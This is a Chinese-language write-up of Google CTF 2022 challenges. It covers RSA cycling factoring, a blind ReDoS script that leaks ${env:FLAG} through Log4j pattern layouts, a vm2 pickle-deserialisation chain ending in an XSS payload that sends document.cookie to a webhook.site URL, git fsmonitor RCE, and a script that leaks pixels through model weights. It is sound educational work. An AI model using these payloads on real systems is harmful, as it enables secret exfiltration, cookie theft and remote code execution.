和 XxTSJxX 參加了今年的 Google CTF，我只解掉了一些比較簡單的題目而已，但是題目都蠻有趣的。

題目名稱上有標 * 的代表的是我有試著解但是沒成功的題目，比賽結束後才把題目解掉。

crypto

CYCLING

這題給了個 2048 bits 的 RSA 要解，然後它還另外提供了一個 $k=2^{1025}-3$ 符合 $m^{e^{k+1}} \equiv m \pmod{n}$ 。另外題目還有提供一組比較小的 case 作為測試用的數字:

e = 65537
n = 0x112b00148621
pt = 0xdeadbeef
ct = pow(pt, e, n)
pt = ct
for _ in range(209):
  # k = 209 here
  pt = pow(pt, e, n)
assert ct == pow(pt, e, n)

首先從 $m^{e^{k+1}} \equiv m \pmod{n}$ 可推得 $e^{k+1} \equiv 1 \pmod{\lambda(n)}$ 。

因為 $e^0 = 1$ 所以 $k+1 \equiv 0 \pmod{\lambda(\lambda(n))}$ ，即 $\lambda(\lambda(n))$ 整除 $k+1$ 。

對正常 RSA 來說 $\lambda(\lambda(n))$ 應該不會比 $n$ 小太多，不過拿這題的 small case 去分解可知 $\gcd(p-1,q-1)$ 並不小:

sage: n=0x112b00148621
sage: factor(n)
3021943 * 6246439
sage: p=3021943
sage: q=n//p
sage: factor(p-1)
2 * 3 * 7 * 11 * 31 * 211
sage: factor(q-1)
2 * 3 * 11 * 31 * 43 * 71

另外 $\lambda(\lambda(n))=k+1=209+1$ 也正好成立，不單單是整除的關係而已。估計一下題目的 $n \approx 2^{2048}$ ，但 $k \approx 2^{1024}$ 和 small case 的情況類似，所以也能猜測它 $\lambda(\lambda(n))=k+1$ 也在題目的情況下成立。

接下來就是要從 $\lambda(\lambda(n))$ 回推 $\lambda(n)$ 而已，因為 $\lambda(pq)=\operatorname{lcm}(p-1,q-1)$ 可以猜它和 small case 情況類似，所以推測它的分解都沒有 prime power，因此 $\lambda(pq)=\prod p_i$ 。

再來 $\lambda(\lambda(n))=\operatorname{lcm}(p_1-1,p_2-1,\cdots)$ ，所以從 $\lambda(\lambda(n))$ 的分解可以知道關於 $p_i-1$ 的一些資訊。

sage: from sage.crypto.util import carmichael_lambda
sage: carmichael_lambda(carmichael_lambda(n)).factor()
2 * 3 * 5 * 7
sage: factor(31-1)
2 * 3 * 5
sage: factor(43-1)
2 * 3 * 7
sage: factor(71-1)
2 * 5 * 7

直接用 FactorDB 分解題目的 $k+1=2^{1025}-2$ 也能知道它也都沒有 prime power，將分解出來的數記為 $f_i$ 。

此時只要計算

t=\prod_{S \subset \{f_i\}}(\prod_{f \in S}f+1)

就能得到 $\lambda(n)$ 的一個倍數 $t$ ，這部分。然後 $d \equiv e^{-1} \pmod{t}$ 就能解密 flag 了。

因為這個方法會讓數字變很大，可以加個 $\prod_{f \in S}f+1$ 是 prime 的檢查就能保持 $\lambda(t)=\lambda(\lambda(n))$ 成立的情況下同時讓數字不會變太大。不過就算不加的話其實讓它跑個幾分鐘也能出來。

import json
from itertools import product
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import isPrime

e = 65537
n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1
ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680
k = 2**1025 - 3

with open("fact.json", "rb") as f:
    # curl 'http://factordb.com/api?query=2^1025-2' -o fact.json
    fact = json.load(f)
fs = [gmpy2.mpz(p) for p, _ in fact["factors"]]
print(fs)
t = 1
for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)):
    s = 1
    for x, y in zip(xx, fs):
        if x:
            s *= y
    if isPrime(s + 1):
        t *= s + 1
d = gmpy2.invert(e, t)
pt = gmpy2.powmod(ct, d, n)
print(int(pt).to_bytes((int(pt).bit_length() + 7) // 8, "big"))
# CTF{Recycling_Is_Great}

不過我這個方法似乎和 intended solution 有點出入，前半概念類似但是後半不太一樣。差異在於它利用了 $f_i$ 去嘗試找到 $p-1$ 或是 $q-1$ 的倍數，然後使用類似 pollard p-1 的方法一直 power 讓數字保持在一定範圍內，這樣執行起來也比較快。

import json
from itertools import combinations, product
from functools import reduce
from operator import mul
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import isPrime

e = 65537
n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1
ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680
k = 2**1025 - 3

with open("fact.json", "rb") as f:
    # curl 'http://factordb.com/api?query=2^1025-2' -o fact.json
    fact = json.load(f)
fs = [gmpy2.mpz(p) for p, _ in fact["factors"]]
print(fs)


def factor():
    cur = 2
    # for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)):
    #     s = gmpy2.mpz(1)
    #     for x, y in zip(xx, fs):
    #         if x:
    #             s *= y
    #     if isPrime(s + 1):
    #         cur = gmpy2.powmod(cur, s + 1, n)
    #         g = gmpy2.gcd(cur - 1, n)
    #         if 1 < g < n:
    #             p = g
    #             q = n // p
    #             return p, q

    # better version
    for i in range(1, len(fs)):
        for c in combinations(fs, i):
            s = reduce(mul, c)
            if isPrime(s + 1):
                cur = gmpy2.powmod(cur, s + 1, n)
                g = gmpy2.gcd(cur - 1, n)
                if 1 < g < n:
                    p = g
                    q = n // p
                    return p, q


p, q = factor()
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
pt = gmpy2.powmod(ct, d, n)
print(int(pt).to_bytes((int(pt).bit_length() + 7) // 8, "big"))
# CTF{Recycling_Is_Great}

web

LOG4J2

這題的前一題是 LOG4J，有個地方可以直接用 ${date:${env:FLAG}} 就能從 error message 中得到 flag 了。 (by @splitline)

而 LOG4J2 的差別似乎是它在碰到 error message 的時候訊息會整個被 replace 成 Sensitive information detected in output. Censored for security reasons.，所以必須要用點不同的方法才行。

Log4j 官方文件比較相關的部分有兩個:

Lookups (例如 ${env:FLAG})
Pattern Layout (例如 %c{2})

可以在 Pattern Layout 看到有 replace{pattern}{regex}{substitution} 可以用，所以說不定能用 regex 去 match flag，然後用 blind 判斷，一個字元一個字元 leak 出來。

我測試的時候不知道怎麼讓它在 match 到 regex 的時候產生錯誤，因為 Pattern Layout 似乎是不能 nested 在其他的 Pattern Layout 之中的。而且它執行順序似乎是先執行完 Lookups 才執行 Pattern Layout，所以 ${date:%replace...} 也是不可能的。

後來想一想想到說 regex 本身就能用 REDOS 去讓它產生不同的 timing，然後就能判斷 flag 了。我用的 regex 大概像這樣:

%replace{S${env:FLAG}E}{^SCTF.a((((((((((((((((((((.)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*E$}{}

如果那個 a 有 match 到那它就會因為後面那些東西直接在 backtracking 時跑很久，直接吃 server 的 timeout (10s)，沒 match 到的話 regex engine 就不會嘗試去執行後面那些瘋狂 backtracking 的部分，所以 response 很快就會回來。

import httpx
import asyncio
import string


async def is_ok(client: httpx.AsyncClient, c: str):
    try:
        await client.post(
            "https://log4j2-web.2022.ctfcompetition.com/",
            data={
                "text": "%replace{S${env:FLAG}E}{^SCTF."
                + c
                + "((((((((((((((((((((.)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*E$}{}"
            },
            timeout=3,
        )
        return False
    except:
        return True


async def main():
    async with httpx.AsyncClient(http2=True) as client:
        chrs = string.ascii_lowercase + "-"
        print(chrs)
        flag = ""
        while not flag.endswith("}"):
            res = await asyncio.gather(*[is_ok(client, flag + c) for c in chrs])
            print(res)
            if all([not r for r in res]):
                flag += "}"
            else:
                flag += [c for c, r in zip(chrs, res) if r][0]
            print("CTF{" + flag)


asyncio.run(main())
# CTF{and-you-thought-it-was-over-didnt-you}

*HORKOS

賽中沒能解掉這題 QQ

這題基本上是要找出 shoplib.mjs 的漏洞。他在 server 端的時候會接受一個 json string cart 傳給 sendOrder(value, orders)，之後把 mutated orders 用 JSON + base64 後 redirect 到 /order#b64，同時也把那個 url 傳給 xss bot。

xss 部分只要能讓 orders 中某個地方的 json key 能出現 array 就能達成:

const escapeHtml = (str) => str.includes('<') ? str.replace(/</g, c => `&#${c.charCodeAt()};`) : str;
const renderLines = (arr) => arr.reduce((p,c) => p+`
<div class="row">
<div class="col-xl-8">
  <p>${escapeHtml(c.key).toString()}</p>
</div>
<div class="col-xl-2">
  <p class="float-end">${escapeHtml(getValue(c.value, 'quantity').toString())}
  </p>
</div>
<div class="col-xl-2">
  <p class="float-end">${escapeHtml(getValue(c.value, 'price').toString())}
  </p>
</div>
<hr>
</div>`, '');

不過看了一下它的邏輯可知沒有正常的手段可以直接達成這件事，不過 server 跑這個腳本在 vm2 中也已經算是個提示需要在 vm2 中 RCE 才行。關鍵部分在於它實作的這個 pickle:

export const pickle = {
    PRIMITIVES: ['String', 'Number', 'Boolean'],
    loads: json => {
        const obj = {};
        for (const {key, type, value} of json) {
            if (type.match(/^pickled/)) {
                obj[key] = pickle.loads(value);
                const constructor = type.replace(/^pickled/, '');
                obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype;
            } else {
                obj[key] = new globalThis[type](value);
            }
        }
        return obj;
    },
    dumps: obj => {
        const json = [];
        for (const key in obj) {
            const value = obj[key];
            const type = value.constructor.name;
            if (typeof type !== 'string') continue;
            if (typeof value == 'object' && !pickle.PRIMITIVES.includes(type)) {
                json.push({
                    key,
                    type: 'pickled' + type,
                    value: pickle.dumps(value)
                });
            } else if (typeof value !== 'undefined') {
                json.push({
                    key,
                    type,
                    value: globalThis[type].prototype.valueOf.call(value)
                });
            }
        }
        return json;
    }
};

有個 obj[key] = new globalThis[type](value); 看起來很好用，但是 type === 'eval' 的話會出現 Uncaught TypeError: globalThis.eval is not a constructor，所以只能利用 type === 'Function' 去創建新 function，然後看看能怎麼利用讓它 call 到新建立的 function。

賽中有嘗試找看看關於 toString, valueOf, then, toJSON 可能會被呼叫的點，但是都沒成功找到。比賽後才知道 async sendOrder() 會回傳 this.order.orderId，而 app.js 會 let result = await vm.run(script);。所以只要讓 orderId 是 { then: Function('pwned') } 就能讓它呼叫到 function 了。

總之這樣就能用 RCE，然後因為 vm2 在這部分也有保護的樣子所以無法 escape，但是這樣已經足夠控制 key 變成 array 去 xss 了。

在 devtool 下斷點後執行這段 code 再 submit 就能讓 bot xss:

cart.value=JSON.stringify([{"key":"0","type":"pickledShoppingCart","value":[{"key":"items","type":"pickledObject","value":[{"key":"Tomato","type":"pickledItem","value":[{"key":"price","type":"Number","value":10},{"key":"quantity","type":"String","value":"0"}]}]},{"key":"address","type":"pickledAddress","value":[{"key":"street","type":"String","value":""},{"key":"number","type":"Number","value":0},{"key":"zip","type":"Number","value":0}]},{"key":"shoppingCartId","type":"pickledObject","value":[{"key":"then","type":"Function","value":"console.log(orders[0][0].value[0].value[0].key=['<img src=1 onerror=\"(new Image).src=`https://webhook.site/73aaf079-7c60-4b19-99a8-9b84680f615f?`+document.cookie\">']);arguments[0]()"}]}]}])

misc

LEGIT

這題可以提供一個 url 讓 server 去 git clone，然後之後可以 list dir 後 cd 切換目錄，然後執行 git fetch。從這邊很明顯是使用 git 的 fsmonitor 去拿 RCE，參考 Git honours embedded bare repos, and exploitation via core.fsmonitor in a directory’s .git/config affects IDEs, shell prompts and Git pillagers。

其中有個 POC - Burying a malicious bare repo within a regular repo 的完整流程可以照抄，直接按照它的指令去建立一個 repo 讓 server clone，然後 RCE 拿 flag 即可。

OCR

這題在 server 端跑了個 keras 的 model 如下:

# The network is pretty tiny, as it has to run on a potato.
model = Sequential()
model.add(Flatten(input_shape=(16,16,3)))
# I'm sure we can compress it all down to four numbers.
model.add(Dense(4, activation='relu'))
model.add(Dense(128, activation='softmax'))

輸入是 16x16x3 的圖片，壓平之後經過一個只有四神經元的隱藏層輸出是 128 個 ascii 字元中的哪個字:

results = model.predict(image_data)
s = ""
for row in results:
    k = "?"
    for i, v in enumerate(row):
        if v > 0.5:
            k = chr(i)
    s += k
print("The neural network sees:", repr(s))

model 的 weights 可以自己設定，但是因為這個模型真的太小了，沒辦法直接 train 一個同大小的模型去做辨識，且它的資料集也只給了 flag 的前四個字元 CTF{ 的圖片。

我的作法是想辦法控制 weight 把圖片的 pixel leak 出來。首先得知道 Dense 相當於 $\operatorname{Activation}(Ax+B)$ ，所以整個 model 其實做了這樣的計算:

y=\operatorname{Softmax}(C\operatorname{ReLU}(Ax+B)+D)

其中 $x$ 是 flatten 的輸入，一個 $768 \times 1$ 的矩陣。

這邊的 $1$ 其實是 batch size，但是就先不管它了

所以 $A$ 是 $4 \times 768$ ， $B$ 是 $4 \times 1$ ， $C$ 是 $128 \times 4$ ， $D$ 是 $128 \times 1$ 。

而輸入的圖片從資料集可以看出它固定只有三種顏色，所以 $x$ 中的每三個一組的值代表一個 pixel 的顏色。假設要讀第一個 pixel 的話就把 $A_{0,0},A_{0,1},A_{0,2}$ 設成某個值 $t$ ，然後 $(Ax+B)_{0}=t(x_0+x_1+x_2)$ 。

假設那個值是正數，那麼 $\operatorname{ReLU}$ 相當於無作用，所以設 $C_{0,0}=1$ 的話最終輸出 $(C(Ax+B)+D)_0=t(x_0+x_1+x_2)$ 。

所以只要透過控制 $t$ 讓 $t(x_0+x_1+x_2)$ 經過 softmax 的值是否能超過 0.5 就能判斷顏色是否相同。計算一下 $\frac{e^x}{e^x+127}=0.5$ 可得 $x \approx 4.84$ ，而 $x_0+x_1+x_2$ 大概抓個平均 $1.5$ ，所以 $t$ 取個接近 $3$ 的數剛剛好。

有些時候可能因為取的 $t$ 沒能分出顏色，就多取幾個不同的 $t$ 就可以了。

import os

os.environ["PWNLIB_NOTERM"] = "1"
# from pwnlib.tubes.process import process
from pwn import process, remote, context
from subprocess import check_output

context.log_level = "error"
import ast
from PIL import Image
import random
from tqdm import tqdm
from multiprocessing import Pool
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor, as_completed


def rand_color():
    return tuple([random.randrange(256) for _ in range(3)])


def solve_pow(cmd):
    return check_output(cmd, shell=True, executable="/bin/bash").strip()

def connect_one(i):
    io = remote("ocr.2022.ctfcompetition.com", 1337)
    io.recvuntil(b"with:\n")
    cmd = io.recvlineS().strip()
    cmd = cmd.replace(
            "python3 <(curl -sSL https://goo.gle/kctf-pow)", "~/.cargo/bin/kctf-pow"
        )
    print(i, cmd, flush=True)
    out = solve_pow(cmd)
    print(i, out, flush=True)
    io.sendline(out)
    return io


def clear_weights(io):
    io.sendlineafter(b"Menu:", b"0")


def set_weight(io, *args):
    io.sendlineafter(b"Menu:", b"1")
    io.sendlineafter(b":", " ".join(map(str, args)).encode())


def read_flag(io):
    io.sendlineafter(b"Menu:", b"2")
    io.recvuntil(b"sees: ")
    s = ast.literal_eval(io.recvlineS())
    return s


def read_pixel(io, i, mul):
    clear_weights(io)
    # weight matrix is transposed
    set_weight(io, 2, 0, 0, 1)
    set_weight(io, 0, 3 * i, 0, mul)
    set_weight(io, 0, 3 * i + 1, 0, mul)
    set_weight(io, 0, 3 * i + 2, 0, mul)
    return read_flag(io)


# io = connect()
# flaglen = 4
flaglen = 34
dt = [[None] * (16 * 16) for _ in range(flaglen)]


def handle(io, rg, pbar):
    for i in rg:
        # print(i)
        muls = [1.5,1.8,2.1,2.4,2.7,3.0,3.3,3.5,3.8]
        fs = [read_pixel(io, i, m) for m in muls]
        for j in range(flaglen):
            dt[j][i] = tuple([f[j] for f in fs])
            # print(i,*dt[i])
        pbar.update(1)
    io.close()


n_conn = 64
with ProcessPoolExecutor(max_workers=8) as ex:
    futures = [ex.submit(connect_one, i) for i in range(n_conn)]
    ios = [f.result() for f in futures]
print('DONE CONN')
with tqdm(total=16 * 16) as pbar:
    with ThreadPoolExecutor(max_workers=n_conn) as ex:
        futures = [
            ex.submit(
                handle, ios[i // (256 // n_conn)], list(range(i, i + 256 // n_conn)), pbar
            )
            for i in range(0, 16 * 16, 256 // n_conn)
        ]

for k in range(flaglen):
    print(k, set(dt[k]))
    if len(set(dt[k])) <= 3:
        colors = [(128, 0, 0), (0, 128, 0), (0, 0, 128)]
        cmap = {x: y for x, y in zip(set(dt[k]), colors)}
        img = Image.new("RGB", (16, 16))
        pixels = img.load()
        for i in range(16 * 16):
            pixels[i % 16, i // 16] = cmap[dt[k][i]]
        img.save(f"flag_out/flag_{k}.png")
        print(f"get flag {k}")
# CTF{n0_l3aky_ReLU_y3t_5till_le4ky}

我這個腳本只能正確 leak 部分的字元而已，不過缺少的字元後面猜一猜就能猜出來了。也能參考一下別人的 writeup，他寫個比較好，exploit 也更加穩定。